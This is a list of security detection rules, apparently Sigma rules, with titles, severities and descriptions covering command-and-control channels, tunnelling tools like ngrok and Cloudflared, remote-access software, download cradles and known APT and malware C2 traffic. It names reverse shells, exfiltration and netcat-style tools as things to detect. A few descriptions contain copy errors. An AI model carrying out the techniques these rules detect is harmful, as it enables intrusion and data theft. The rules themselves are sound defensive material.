Wget Creating Files in Tmp Directory	medium	Detects the use of wget to download content in a temporary directory such as "/tmp" or "/var/tmp"
Communication To Ngrok Tunneling Service - Linux	high	Detects an executable accessing an ngrok tunneling endpoint, which could be a sign of forbidden exfiltration of data exfiltration by malicious actors
Communication To LocaltoNet Tunneling Service Initiated - Linux	high	Detects an executable initiating a network connection to "LocaltoNet" tunneling sub-domains. LocaltoNet is a reverse proxy that enables localhost services to be exposed to the Internet. Attackers have been seen to use this service for command-and-control activities to bypass MFA and perimeter controls.
Potentially Suspicious Malware Callback Communication - Linux	high	Detects programs that connect to known malware callback ports based on threat intelligence reports.
Curl Usage on Linux	low	Detects a curl process start on linux, which indicates a file download from a remote location or a simple web request to a remote server
Potential Linux Amazon SSM Agent Hijacking	medium	Detects potential Amazon SSM agent hijack attempts as outlined in the Mitiga research report.
Suspicious Curl Change User Agents - Linux	medium	Detects a suspicious curl process start on linux with set useragent options
Download File To Potentially Suspicious Directory Via Wget	medium	Detects the use of wget to download content to a suspicious directory
Suspicious Installer Package Child Process	medium	Detects the execution of suspicious child processes from macOS installer package parent process. This includes osascript, JXA, curl and wget amongst other interpreters
File Download Via Nscurl - MacOS	medium	Detects the execution of the nscurl utility in order to download files.
Potential In-Memory Download And Compile Of Payloads	medium	Detects potential in-memory downloading and compiling of applets using curl and osacompile as seen used by XCSSET malware
Potential WizardUpdate Malware Infection	high	Detects the execution traces of the WizardUpdate malware. WizardUpdate is a macOS trojan that attempts to infiltrate macOS machines to steal data and it is associated with other types of malicious payloads, increasing the chances of multiple infections on a device.
Potential XCSSET Malware Infection	medium	Identifies the execution traces of the XCSSET malware. XCSSET is a macOS trojan that primarily spreads via Xcode projects and maliciously modifies applications. Infected users are also vulnerable to having their credentials, accounts, and other vital data stolen.
Cisco Stage Data	low	Various protocols maybe used to put data on the device for exfil or infil
Cobalt Strike DNS Beaconing	critical	Detects suspicious DNS queries known from Cobalt Strike beacons
Suspicious DNS Query with B64 Encoded String	medium	Detects suspicious DNS queries using base64 encoding
Telegram Bot API Request	medium	Detects suspicious DNS queries to api.telegram.org used by Telegram Bots of any kind
DNS TXT Answer with Possible Execution Strings	high	Detects strings used in command execution in DNS TXT Answer
Wannacry Killswitch Domain	high	Detects wannacry killswitch domain dns queries
Default Cobalt Strike Certificate	high	Detects the presence of default Cobalt Strike certificate in the HTTPS traffic
New Kind of Network (NKN) Detection	low	NKN is a networking service using blockchain technology to support a decentralized network of peers. While there are legitimate uses for it, it can also be used as a C2 channel. This rule looks for a DNS request to the ma>
Suspicious DNS Z Flag Bit Set	medium	The DNS Z flag is bit within the DNS protocol header that is, per the IETF design, meant to be used reserved (unused). Although recently it has been used in DNSSec, the value being set to anything other than 0 should be rare. Otherwise if it is set to non 0 and DNSSec is being used, then excluding the legitimate domains is low effort and high reward. Determine if multiple of these files were accessed in a short period of time to further enhance the possibility of seeing if this was a one off or the possibility of larger sensitive file gathering. This Sigma query is designed to accompany the Corelight Threat Hunting Guide, which can be found here: https://www3.corelight.com/corelights-introductory-guide-to-threat-hunting-with-zeek-bro-logs'
Executable from Webdav	medium	Detects executable access via webdav6. Can be seen in APT 29 such as from the emulated APT 29 hackathon https://github.com/OTRF/detection-hackathon-apt29/
Download from Suspicious Dyndns Hosts	medium	Detects download of certain file types from hosts with dynamic DNS names (selected list)
Windows WebDAV User Agent	high	Detects WebDav DownloadCradle
HackTool - CobaltStrike Malleable Profile Patterns - Proxy	high	Detects cobalt strike malleable profiles patterns (URI, User-Agents, Methods).
HackTool - BabyShark Agent Default URL Pattern	critical	Detects Baby Shark C2 Framework default communication patterns
HackTool - Empire UserAgent URI Combo	high	Detects user agent and URI paths used by empire agents
PwnDrp Access	critical	Detects downloads from PwnDrp web servers developed for red team testing and most likely also used for criminal activity
Raw Paste Service Access	high	Detects direct access to raw pastes in different paste services often used by malware in their second stages to download malicious code in encrypted or encoded form
Telegram API Access	medium	Detects suspicious requests to Telegram API without the usual Telegram User-Agent
APT User Agent	high	Detects suspicious user agent strings used in APT malware in proxy logs
Suspicious Base64 Encoded User-Agent	medium	Detects suspicious encoded User-Agent strings, as seen used by some malware.
Bitsadmin to Uncommon IP Server Address	high	Detects Bitsadmin connections to IP addresses instead of FQDN names
Bitsadmin to Uncommon TLD	high	Detects Bitsadmin connections to domains with uncommon TLDs
Crypto Miner User Agent	high	Detects suspicious user agent strings used by crypto miners in proxy logs
HTTP Request With Empty User Agent	medium	Detects a potentially suspicious empty user agent strings in proxy log. Could potentially indicate an uncommon request method.
Exploit Framework User Agent	high	Detects suspicious user agent strings used by exploit / pentest frameworks like Metasploit in proxy logs
Malware User Agent	high	Detects suspicious user agent strings used by malware in proxy logs
Windows PowerShell User Agent	medium	Detects Windows PowerShell Web Access
Suspicious User Agent	high	Detects suspicious malformed user agent strings in proxy logs
Potential Base64 Encoded User-Agent	medium	Detects User Agent strings that end with an equal sign, which can be a sign of base64 encoding.
DNS Query To Put.io - DNS Client	medium	Detects DNS queries for subdomains related to "Put.io" sharing website.
Query Tor Onion Address - DNS Client	high	Detects DNS resolution of an .onion address related to Tor routing networks
Suspicious Cobalt Strike DNS Beaconing - DNS Client	critical	Detects a program that invoked suspicious DNS queries known from Cobalt Strike beacons
Potential Remote Desktop Connection to Non-Domain Host	medium	Detects logons using NTLM to hosts that are potentially not part of the domain.
RDP over Reverse SSH Tunnel WFP	high	Detects svchost hosting RDP termsvcs communicating with the loopback address
Suspicious LDAP-Attributes Used	high	Detects the usage of particular AttributeLDAPDisplayNames, which are known for data exchange via LDAP by the tool LDAPFragger and are additionally not commonly used in companies.
Password Protected ZIP File Opened (Suspicious Filenames)	high	Detects the extraction of password protected ZIP archives with suspicious file names. See the filename variable for more details on which file has been opened.
Mesh Agent Service Installation	medium	Detects a Mesh Agent service installation. Mesh Agent is used to remotely manage computers
TacticalRMM Service Installation	medium	Detects a TacticalRMM service installation. Tactical RMM is a remote monitoring & management tool.
Ngrok Usage with Remote Desktop Service	high	Detects cases in which ngrok, a reverse proxy tool, forwards events to the local RDP port, which could be a sign of malicious behaviour
AppX Package Installation Attempts Via AppInstaller.EXE	medium	Detects DNS queries made by "AppInstaller.EXE". The AppInstaller is the default handler for the "ms-appinstaller" URI. It attempts to load/install a package from the referenced URL
Cloudflared Tunnels Related DNS Requests	medium	Detects DNS requests to Cloudflared tunnels domains. Attackers can abuse that feature to establish a reverse shell or persistence on a machine.
DNS Query To Devtunnels Domain	medium	Detects DNS query requests to Devtunnels domains. Attackers can abuse that feature to establish a reverse shell or persistence on a machine.
DNS Query To AzureWebsites.NET By Non-Browser Process	medium	Detects a DNS query by a non browser process on the system to "azurewebsites.net". The latter was often used by threat actors as a malware hosting and exfiltration site.
Suspicious Cobalt Strike DNS Beaconing - Sysmon	critical	Detects a program that invoked suspicious DNS queries known from Cobalt Strike beacons
DNS Query To Remote Access Software Domain From Non-Browser App	medium	An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)
TeamViewer Domain Query By Non-TeamViewer Application	medium	Detects DNS queries to a TeamViewer domain only resolved by a TeamViewer client by an image that isn't named TeamViewer (sometimes used by threat actors for obfuscation)
DNS Query Tor .Onion Address - Sysmon	high	Detects DNS queries to an ".onion" address related to Tor routing networks
DNS Query To Visual Studio Code Tunnels Domain	medium	Detects DNS query requests to Visual Studio Code tunnel domains. Attackers can abuse that feature to establish a reverse shell or persistence on a machine.
ADSI-Cache File Creation By Uncommon Tool	medium	Detects the creation of an "Active Directory Schema Cache File" (.sch) file by an uncommon tool.
Suspicious Binary Writes Via AnyDesk	high	Detects AnyDesk writing binary files to disk other than "gcapi.dll". According to RedCanary research it is highly abnormal for AnyDesk to write executable files to disk besides gcapi.dll, which is a legitimate DLL that is part of the Google Chrome web browser used to interact with the Google Cloud API. (See reference section for more details)
Anydesk Temporary Artefact	medium	An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)
GoToAssist Temporary Installation Artefact	medium	An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)
HackTool - Inveigh Execution Artefacts	critical	Detects the presence and execution of Inveigh via dropped artefacts
HackTool - RemoteKrbRelay SMB Relay Secrets Dump Module Indicators	high	Detects the creation of file with specific names used by RemoteKrbRelay SMB Relay attack module.
Installation of TeamViewer Desktop	medium	TeamViewer_Desktop.exe is create during install
New Outlook Macro Created	medium	Detects the creation of a macro file for Outlook.
Suspicious Outlook Macro Created	high	Detects the creation of a macro file for Outlook.
ScreenConnect Temporary Installation Artefact	medium	An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)
Suspicious Desktopimgdownldr Target File	high	Detects a suspicious Microsoft desktopimgdownldr file creation that stores a file to a suspicious location or contains a file with a suspicious extension
TeamViewer Remote Session	medium	Detects the creation of log files during a TeamViewer remote session
Hijack Legit RDP Session to Move Laterally	high	Detects the usage of tsclient share to place a backdoor on the RDP source machine's startup folder
Visual Studio Code Tunnel Remote File Creation	medium	Detects the creation of file by the "node.exe" process in the ".vscode-server" directory. Could be a sign of remote file creation via VsCode tunnel feature
Renamed VsCode Code Tunnel Execution - File Indicator	high	Detects the creation of a file with the name "code_tunnel.json" which indicate execution and usage of VsCode tunneling utility by an "Image" or "Process" other than VsCode.
HackTool - SILENTTRINITY Stager DLL Load	high	Detects SILENTTRINITY stager dll loading activity
Uncommon Network Connection Initiated By Certutil.EXE	high	Detects a network connection initiated by the certutil.exe utility. Attackers can abuse the utility in order to download malware or additional payloads.
Network Connection Initiated To AzureWebsites.NET By Non-Browser Process	medium	Detects an initiated network connection by a non browser process on the system to "azurewebsites.net". The latter was often used by threat actors as a malware hosting and exfiltration site.
Network Connection Initiated To Cloudflared Tunnels Domains	medium	Detects network connections to Cloudflared tunnels domains initiated by a process on the system. Attackers can abuse that feature to establish a reverse shell or persistence on a machine.
New Connection Initiated To Potential Dead Drop Resolver Domain	high	Detects an executable, which is not an internet browser or known application, initiating network connections to legit popular websites, which were seen to be used as dead drop resolvers in previous attacks. In this context attackers leverage known websites such as "facebook", "youtube", etc. In order to pass through undetected.
Suspicious Dropbox API Usage	high	Detects an executable that isn't dropbox but communicates with the Dropbox API
Suspicious Non-Browser Network Communication With Google API	medium	Detects a non-browser process interacting with the Google API which could indicate the use of a covert C2 such as Google Sheet C2 (GC2-sheet)
Communication To LocaltoNet Tunneling Service Initiated	high	Detects an executable initiating a network connection to "LocaltoNet" tunneling sub-domains. LocaltoNet is a reverse proxy that enables localhost services to be exposed to the Internet. Attackers have been seen to use this service for command-and-control activities to bypass MFA and perimeter controls.
Communication To Ngrok Tunneling Service Initiated	high	Detects an executable initiating a network connection to "ngrok" tunneling domains. Attackers were seen using this "ngrok" in order to store their second stage payloads and malware. While communication with such domains can be legitimate, often times is a sign of either data exfiltration by malicious actors or additional download.
Potentially Suspicious Network Connection To Notion API	low	Detects a non-browser process communicating with the Notion API. This could indicate potential use of a covert C2 channel such as "OffensiveNotion C2"
Network Communication Initiated To Portmap.IO Domain	medium	Detects an executable accessing the portmap.io domain, which could be a sign of forbidden C2 traffic or data exfiltration by malicious actors
Suspicious Non-Browser Network Communication With Telegram API	medium	Detects an a non-browser process interacting with the Telegram API which could indicate use of a covert C2
Network Connection Initiated By IMEWDBLD.EXE	high	Detects a network connection initiated by IMEWDBLD.EXE. This might indicate potential abuse of the utility as a LOLBIN in order to download arbitrary files or additional payloads.
Network Connection Initiated Via Notepad.EXE	high	Detects a network connection that is initiated by the "notepad.exe" process. This might be a sign of process injection from a beacon process or something similar. Notepad rarely initiates a network communication except when printing documents for example.
Office Application Initiated Network Connection Over Uncommon Ports	medium	Detects an office suit application (Word, Excel, PowerPoint, Outlook) communicating to target systems over uncommon ports.
RDP Over Reverse SSH Tunnel	high	Detects svchost hosting RDP termsvcs communicating with the loopback address and on TCP port 3389
RDP to HTTP or HTTPS Target Ports	high	Detects svchost hosting RDP termsvcs communicating to target systems on TCP port 80 or 443
Remote Access Tool - AnyDesk Incoming Connection	medium	Detects incoming connections to AnyDesk. This could indicate a potential remote attacker trying to connect to a listening instance of AnyDesk and use it as potential command and control channel.
Network Connection Initiated From Process Located In Potentially Suspicious Or Uncommon Location	high	Detects a network connection initiated by programs or processes running from suspicious or uncommon files system locations.
Potentially Suspicious Malware Callback Communication	high	Detects programs that connect to known malware callback ports based on statistical analysis from two different sandbox system databases
Network Communication Initiated To File Sharing Domains From Process Located In Suspicious Folder	high	Detects executables located in potentially suspicious directories initiating network connections towards file sharing domains.
Communication To Uncommon Destination Ports	medium	Detects programs that connect to uncommon destination ports
Outbound Network Connection To Public IP Via Winlogon	medium	Detects a "winlogon.exe" process that initiate network communications with public IP addresses
Suspicious Wordpad Outbound Connections	medium	Detects a network connection initiated by "wordpad.exe" over uncommon destination ports. This might indicate potential process injection activity from a beacon or similar mechanisms.
Outbound Network Connection Initiated By Script Interpreter	high	Detects a script interpreter wscript/cscript opening a network connection to a non-local network. Adversaries may use script to download malicious payloads.
Local Network Connection Initiated By Script Interpreter	medium	Detects a script interpreter (Wscript/Cscript) initiating a local network connection to download or execute a script hosted on a shared folder.
Netcat The Powershell Version	medium	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network
Silence.EDA Detection	critical	Detects Silence EmpireDNSAgent as described in the Group-IP report
Potential COM Objects Download Cradles Usage - PS Script	medium	Detects usage of COM objects that can be abused to download files in PowerShell by CLSID
Suspicious FromBase64String Usage On Gzip Archive - Ps Script	medium	Detects attempts of decoding a base64 Gzip archive in a PowerShell script. This technique is often used as a method to load malicious content into memory afterward.
Change User Agents with WebRequest	medium	Adversaries may communicate using application layer protocols associated with web traffic to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Suspicious TCP Tunnel Via PowerShell Script	medium	Detects powershell scripts that creates sockets/listeners which could be indicative of tunneling activity
Suspicious SSL Connection	low	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol.
Testing Usage of Uncommonly Used Port	medium	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088(Citation: Symantec Elfin Mar 2019) or port 587(Citation: Fortinet Agent Tesla April 2018) as opposed to the traditional port 443.
Browser Execution In Headless Mode	medium	Detects execution of Chromium based browser in headless mode
File Download with Headless Browser	high	Detects execution of chromium based browser in headless mode using the "dump-dom" command line to download files
File Download From Browser Process Via Inline URL	medium	Detects execution of a browser process with a URL argument pointing to a file with a potentially interesting extension. This can be abused to download arbitrary files or to hide from the user for example by launching the browser in a minimized state.
Tor Client/Browser Execution	high	Detects the use of Tor or Tor-Browser to connect to onion routing networks
File Download via CertOC.EXE	medium	Detects when a user downloads a file by using CertOC.exe
File Download From IP Based URL Via CertOC.EXE	high	Detects when a user downloads a file from an IP based URL using CertOC.exe
Cloudflared Portable Execution	medium	Detects the execution of the "cloudflared" binary from a non standard location.
Cloudflared Quick Tunnel Execution	medium	Detects creation of an ad-hoc Cloudflare Quick Tunnel, which can be used to tunnel local services such as HTTP, RDP, SSH and SMB. The free TryCloudflare Quick Tunnel will generate a random subdomain on trycloudflare[.]com, following a call to api[.]trycloudflare[.]com. The tool has been observed in use by threat groups including Akira ransomware.
Cloudflared Tunnel Connections Cleanup	medium	Detects execution of the "cloudflared" tool with the tunnel "cleanup" flag in order to cleanup tunnel connections.
Cloudflared Tunnel Execution	medium	Detects execution of the "cloudflared" tool to connect back to a tunnel. This was seen used by threat actors to maintain persistence and remote access to compromised networks.
Curl Download And Execute Combination	high	Adversaries can use curl to download payloads remotely and execute them. Curl is included by default in Windows 10 build 17063 and later.
Command Line Execution with Suspicious URL and AppData Strings	medium	Detects a suspicious command line execution that includes an URL and AppData string in the command line parameters as used by several droppers (js/vbs > powershell)
Potential Download/Upload Activity Using Type Command	medium	Detects usage of the "type" command to download/upload data from WebDAV server
Suspicious Curl.EXE Download	high	Detects a suspicious curl process start on Windows and outputs the requested document to a local file
Remote File Download Via Desktopimgdownldr Utility	medium	Detects the desktopimgdownldr utility being used to download a remote file. An adversary may use desktopimgdownldr to download arbitrary files as an alternative to certutil.
Suspicious Desktopimgdownldr Command	high	Detects a suspicious Microsoft desktopimgdownldr execution with parameters used to download files from the Internet
DNS Exfiltration and Tunneling Tools Execution	high	Well-known DNS Exfiltration tools execution
Finger.EXE Execution	high	Detects execution of the "finger.exe" utility. Finger.EXE or "TCPIP Finger Command" is an old utility that is still present on modern Windows installation. It Displays information about users on a specified remote computer (typically a UNIX computer) that is running the finger service or daemon. Due to the old nature of this utility and the rareness of machines having the finger service. Any execution of "finger.exe" can be considered "suspicious" and worth investigating.
Arbitrary File Download Via GfxDownloadWrapper.EXE	medium	Detects execution of GfxDownloadWrapper.exe with a URL as an argument to download file.
File Download Using Notepad++ GUP Utility	high	Detects execution of the Notepad++ updater (gup) from a process other than Notepad++ to download files.
HackTool - Htran/NATBypass Execution	high	Detects executable names or flags used by Htran or Htran-like tools (e.g. NATBypass)
HackTool - SharpChisel Execution	high	Detects usage of the Sharp Chisel via the commandline arguments
HackTool - SILENTTRINITY Stager Execution	high	Detects SILENTTRINITY stager use via PE metadata
File Download And Execution Via IEExec.EXE	high	Detects execution of the IEExec utility to download and execute files
Suspicious Child Process Of Manage Engine ServiceDesk	high	Detects suspicious child processes of the "Manage Engine ServiceDesk Plus" Java web service
Import LDAP Data Interchange Format File Via Ldifde.EXE	medium	Detects the execution of "Ldifde.exe" with the import flag "-i". The can be abused to include HTTP-based arguments which will allow the arbitrary download of files from a remote server.
Suspicious Diantz Download and Compress Into a CAB File	medium	Download and compress a remote file and store it in a cab file on local machine.
Suspicious Extrac32 Execution	medium	Download or Copy file with Extrac32
PrintBrm ZIP Creation of Extraction	high	Detects the execution of the LOLBIN PrintBrm.exe, which can be used to create or extract ZIP files. PrintBrm.exe should not be run on a normal workstation.
Replace.exe Usage	medium	Detects the use of Replace.exe which can be used to replace file with another file
Suspicious Certreq Command to Download	high	Detects a suspicious certreq execution taken from the LOLBAS examples, which can be abused to download (small) files
File Download Via Windows Defender MpCmpRun.EXE	high	Detects the use of Windows Defender MpCmdRun.EXE to download files
MsiExec Web Install	medium	Detects suspicious msiexec process starts with web addresses as parameter
Mstsc.EXE Execution With Local RDP File	low	Detects potential RDP connection via Mstsc using a local ".rdp" file
Suspicious Mstsc.EXE Execution With Local RDP File	high	Detects potential RDP connection via Mstsc using a local ".rdp" file located in suspicious locations.
New Port Forwarding Rule Added Via Netsh.EXE	medium	Detects the execution of netsh commands that configure a new port forwarding (PortProxy) rule
RDP Port Forwarding Rule Added Via Netsh.EXE	high	Detects the execution of netsh to configure a port forwarding of port 3389 (RDP) rule
Suspicious Plink Port Forwarding	high	Detects suspicious Plink tunnel port forwarding to a local port
Potential RDP Tunneling Via Plink	high	Execution of plink to perform data exfiltration and tunneling
Gzip Archive Decode Via PowerShell	medium	Detects attempts of decoding encoded Gzip archives via PowerShell.
Potential COM Objects Download Cradles Usage - Process Creation	medium	Detects usage of COM objects that can be abused to download files in PowerShell by CLSID
PowerShell Web Download	medium	Detects suspicious ways to download files or content using PowerShell
Potential DLL File Download Via PowerShell Invoke-WebRequest	medium	Detects potential DLL files being downloaded using the PowerShell Invoke-WebRequest cmdlet
Suspicious FromBase64String Usage On Gzip Archive - Process Creation	medium	Detects attempts of decoding a base64 Gzip archive via PowerShell. This technique is often used as a method to load malicious content into memory afterward.
Suspicious Invoke-WebRequest Execution With DirectIP	medium	Detects calls to PowerShell with Invoke-WebRequest cmdlet using direct IP access
Suspicious Invoke-WebRequest Execution	high	Detects a suspicious call to Invoke-WebRequest cmdlet where the and output is located in a suspicious location
PowerShell DownloadFile	high	Detects the execution of powershell, a WebClient object creation and the invocation of DownloadFile in a single command line
PUA - 3Proxy Execution	high	Detects the use of 3proxy, a tiny free proxy server
PUA - Chisel Tunneling Tool Execution	high	Detects usage of the Chisel tunneling tool via the commandline arguments
PUA - Fast Reverse Proxy (FRP) Execution	high	Detects the use of Fast Reverse Proxy. frp is a fast reverse proxy to help you expose a local server behind a NAT or firewall to the Internet.
PUA- IOX Tunneling Tool Execution	high	Detects the use of IOX - a tool for port forwarding and intranet proxy purposes
PUA - Netcat Suspicious Execution	high	Detects execution of Netcat. Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network
PUA - Ngrok Execution	high	Detects the use of Ngrok, a utility used for port forwarding and tunneling, often used by threat actors to make local protected services publicly available. Involved domains are bin.equinox.io for download and *.ngrok.io for connections.
PUA - Nimgrab Execution	high	Detects the usage of nimgrab, a tool bundled with the Nim programming framework and used for downloading files.
PUA - NPS Tunneling Tool Execution	high	Detects the use of NPS, a port forwarding and intranet penetration proxy server
Potentially Suspicious Usage Of Qemu	medium	Detects potentially suspicious execution of the Qemu utility in a Windows environment. Threat actors have leveraged this utility and this technique for achieving network access as reported by Kaspersky.
QuickAssist Execution	low	Detects the execution of Microsoft Quick Assist tool "QuickAssist.exe". This utility can be used by attackers to gain remote access.
Remote Access Tool - AnyDesk Execution	medium	An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)
Remote Access Tool - AnyDesk Piped Password Via CLI	medium	Detects piping the password to an anydesk instance via CMD and the '--set-password' flag.
Remote Access Tool - AnyDesk Silent Installation	high	Detects AnyDesk Remote Desktop silent installation. Which can be used by attackers to gain remote access.
Remote Access Tool - Anydesk Execution From Suspicious Folder	high	An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)
Remote Access Tool - MeshAgent Command Execution via MeshCentral	medium	Detects the use of MeshAgent to execute commands on the target host, particularly when threat actors might abuse it to execute commands directly. MeshAgent can execute commands on the target host by leveraging win-console to obscure their activities and win-dispatcher to run malicious code through IPC with child processes.
Remote Access Tool - NetSupport Execution	medium	An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)
Remote Access Tool - GoToAssist Execution	medium	An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)
Remote Access Tool - LogMeIn Execution	medium	An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)
Remote Access Tool - ScreenConnect Execution	medium	An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)
Remote Access Tool - ScreenConnect Potential Suspicious Remote Command Execution	medium	Detects potentially suspicious child processes launched via the ScreenConnect client service.
Remote Access Tool - Simple Help Execution	medium	An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)
Remote Access Tool - UltraViewer Execution	medium	An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)
Renamed Cloudflared.EXE Execution	high	Detects the execution of a renamed "cloudflared" binary.
Renamed Remote Utilities RAT (RURAT) Execution	medium	Detects execution of renamed Remote Utilities (RURAT) via Product PE header field
Port Forwarding Activity Via SSH.EXE	medium	Detects port forwarding activity via SSH.exe
Potential RDP Tunneling Via SSH	high	Execution of ssh.exe to perform data exfiltration and tunneling through RDP
Potential Amazon SSM Agent Hijacking	medium	Detects potential Amazon SSM agent hijack attempts as outlined in the Mitiga research report.
Suspicious Download from Office Domain	high	Detects suspicious ways to download files from Microsoft domains that are used to store attachments in Emails or OneNote documents
Suspicious TSCON Start as SYSTEM	high	Detects a tscon.exe start as LOCAL SYSTEM
Use of UltraVNC Remote Access Software	medium	An adversary may use legitimate desktop support and remote access software,to establish an interactive command and control channel to target systems within networks
Visual Studio Code Tunnel Execution	medium	Detects Visual Studio Code tunnel execution. Attackers can abuse this functionality to establish a C2 channel
Visual Studio Code Tunnel Shell Execution	medium	Detects the execution of a shell (powershell, bash, wsl...) via Visual Studio Code tunnel. Attackers can abuse this functionality to establish a C2 channel and execute arbitrary commands on the system.
Renamed Visual Studio Code Tunnel Execution	high	Detects renamed Visual Studio Code tunnel execution. Attackers can abuse this functionality to establish a C2 channel
Visual Studio Code Tunnel Service Installation	medium	Detects the installation of VsCode tunnel (code-tunnel) as a service.
Pandemic Registry Key	critical	Detects Pandemic Windows Implant
New PortProxy Registry Entry Added	medium	Detects the modification of the PortProxy registry key which is used for port forwarding.
Lolbas OneDriveStandaloneUpdater.exe Proxy Download	high	Detects setting a custom URL for OneDriveStandaloneUpdater.exe to download a file from the Internet without executing any anomalous executables with suspicious arguments. The downloaded file will be in C:\Users\redacted\AppData\Local\Microsoft\OneDrive\StandaloneUpdaterreSignInSettingsConfig.json
Potential Persistence Via Outlook LoadMacroProviderOnBoot Setting	high	Detects the modification of Outlook setting "LoadMacroProviderOnBoot" which if enabled allows the automatic loading of any configured VBA project/module
Outlook Macro Execution Without Warning Setting Enabled	high	Detects the modification of Outlook security setting to allow unprompted execution of macros.
Equation Group C2 Communication	high	Detects communication to C2 servers mentioned in the operational notes of the ShadowBroker leak of EquationGroup C2 tools
OilRig APT Activity	critical	Detects OilRig activity as reported by Nyotron in their March 2018 report
OilRig APT Registry Persistence	critical	Detects OilRig registry persistence as reported by Nyotron in their March 2018 report
OilRig APT Schedule Task Persistence - Security	critical	Detects OilRig schedule task persistence as reported by Nyotron in their March 2018 report
OilRig APT Schedule Task Persistence - System	critical	Detects OilRig schedule task persistence as reported by Nyotron in their March 2018 report
Chafer Malware URL Pattern	high	Detects HTTP request used by Chafer malware to receive data from its C2.
Ursnif Malware C2 URL Pattern	critical	Detects Ursnif C2 traffic.
Ursnif Malware Download URL Pattern	high	Detects download of Ursnif malware done by dropper documents.
APT40 Dropbox Tool User Agent	high	Detects suspicious user agent string of APT40 Dropbox tool
ComRAT Network Communication	high	Detects Turla ComRAT network communication.
GALLIUM IOCs	high	Detects artifacts associated with GALLIUM cyber espionage group as reported by Microsoft Threat Intelligence Center in the December 2019 report.
GALLIUM Artefacts - Builtin	high	Detects artefacts associated with activity group GALLIUM - Microsoft Threat Intelligence Center indicators released in December 2019.
Greenbug Espionage Group Indicators	critical	Detects tools and process executions used by Greenbug in their May 2020 campaign as reported by Symantec
Devil Bait Potential C2 Communication Traffic	high	Detects potential C2 communication related to Devil Bait malware
Goofy Guineapig Backdoor Potential C2 Communication	high	Detects potential C2 communication related to Goofy Guineapig backdoor
Small Sieve Malware Potential C2 Communication	critical	Detects potential C2 communication related to Small Sieve malware
Potential CVE-2023-36884 Exploitation Pattern	critical	Detects a unique pattern seen being used by RomCom potentially exploiting CVE-2023-36884
Potential CVE-2303-36884 URL Request Pattern Traffic	high	Detects a specific URL pattern containing a specific extension and parameters pointing to an IP address. This pattern was seen being used by RomCOM potentially exploiting CVE-2023-36884
